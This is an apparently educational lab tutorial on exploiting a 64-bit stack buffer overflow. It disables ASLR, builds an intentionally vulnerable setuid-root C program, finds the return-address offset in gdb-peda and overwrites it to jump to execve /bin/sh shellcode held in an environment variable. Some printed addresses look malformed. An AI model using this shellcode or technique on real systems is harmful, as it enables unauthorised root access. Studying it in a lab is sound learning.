In this tutorial, we will create a buffer overflow on the 64-bit stack to gain root privileges.1)
Technical details on buffer overflows, stack etc. can be found here2)
This article is part of the Buffer Overflow series. You can find more on this topic here:
What is needed?
gdb-peda extends the debugger GDB with helpful commands to exploit.3)
git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit
ASLR must be deactivated so that memory areas are not randomised.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
// code from https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/ #include <stdio.h> #include <unistd.h> int vuln() { char buf[80]; int r; r = read(0, buf, 400); printf("\nRead %d bytes. buf is %s\n", r, buf); puts("No shell for you :("); return 0; } int main(int argc, char *argv[]) { printf("Try to exec /bin/sh"); vuln(); return 0; }
gcc -fno-stack-protector -z execstack bof.c -o bof
Of interest to us is the register RIP
. This contains a return address that points to another area in the code. We overwrite this return address with the buffer overflow. But first we have to find out how we can do this.
We start our programme in the debugger and generate a 200-character string:
gdb -q vulnerable pattern_create 200 in.bin r < in.bin
How many bytes must be transferred before RIP is overwritten?
pattern_offset A7AAMAAiA
Found at Offset 104
104 bytes must be transferred until the buffer overflows. We generate 104 characters and a canonical return address. To do this, we must use our pseudo address 0x414141414141
into canonical address format by appending 2 high bytes:
0x0000414141414141
We convert this into shellcode:
\x41\x41\x41\x41\x41\x41\x00\x00
In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilised for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.4)
So let's debug again, with the parameters we have found out
python2 -c "print('A'*104 + '\x41\x41\x41\x41\x41\x41\x00\x00')" > in.bin gdb -q bof r < in.bin
In the last step, we create a corresponding exploit to generate the root shell.
The Shellcode5) is stored in an environment variable
export PWN=`python2 -c 'print( "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")'`
// code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s <environment variable> <target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* get env var location */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */ printf("%s will be at %p\n", argv[1], ptr); }
gcc getenvar.c -o getenvar
./getenvar PWN ./bof
The address of the environment variable is 0x7fffffffffef9e
This corresponds to the canonical address 0x00007fffffffffef9e
'. Our shellcode would now correspond:
\x9e\xef\xff\xff\xff\x7f\x00\x00
First we set root rights to the vulnerable file and start it6)
sudo chown root bof sudo chmod 4755 bof ./bof
Now we can execute the buffer overflow:
(python2 -c "print('A'*104+'\x9e\xef\xff\xff\xff\x7f\x00\x00')"; cat) | ./bof
Project files | nosoc-repo-bof64.zip ZIP |
---|---|
Size | 5.76 KB |
Prüfsumme (SHA256) | 191e6f1811018970776e3bf035ff460033a47da62335fe5c9475a460b02a10d3 |